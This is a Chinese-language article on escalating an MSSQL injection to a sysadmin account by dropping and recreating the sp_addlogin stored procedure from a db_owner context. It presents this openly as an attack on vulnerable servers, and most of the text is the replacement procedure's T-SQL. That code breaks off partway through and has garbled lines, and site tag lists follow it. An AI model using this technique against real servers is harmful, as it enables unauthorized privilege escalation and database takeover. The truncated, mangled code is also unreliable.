mssql注入通杀,只要有注入点就有系统权限
不知道大家看过这篇文章没有,可以在db_owner角色下添加sysadmin帐号,这招真狠啊,存在mssql注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,饶过了验证部分。具体方法如下:先输入drop procedure sp_addlogin,然后在ie里面输入create procedure sp_addlogin
@loginame sysname
,@passwd sysname = null
,@defdb ; ; sysname = ’master’ -- undone: default
configurable???
,@deflanguage sysname = null
,@sid varbinary(16) = null
,@encryptopt varchar(20) = null
as
-- setup runtime options / declare variables --
set nocount on
declare @ret int -- return value of sp call
-- disallow user transaction --
set implicit_transactions off
if (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
-- validate login name as:
-- (1) valid sql name (sql login)
-- (2) no backslash (nt users only)
-- (3) not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(’\’, @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (’public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- login name must not already exist --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- validate default database --
if db_id(@defdb) is null
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- validate default language --
if (@deflanguage is not null)
begin
execute @ret = sp_validlang @deflanguage
if (@ret <> 0)
return (1)
end
else
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = n’us_english’
end
-- validate sid if given --
if ((@sid is not null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) is not null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- validate and use encryption option --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器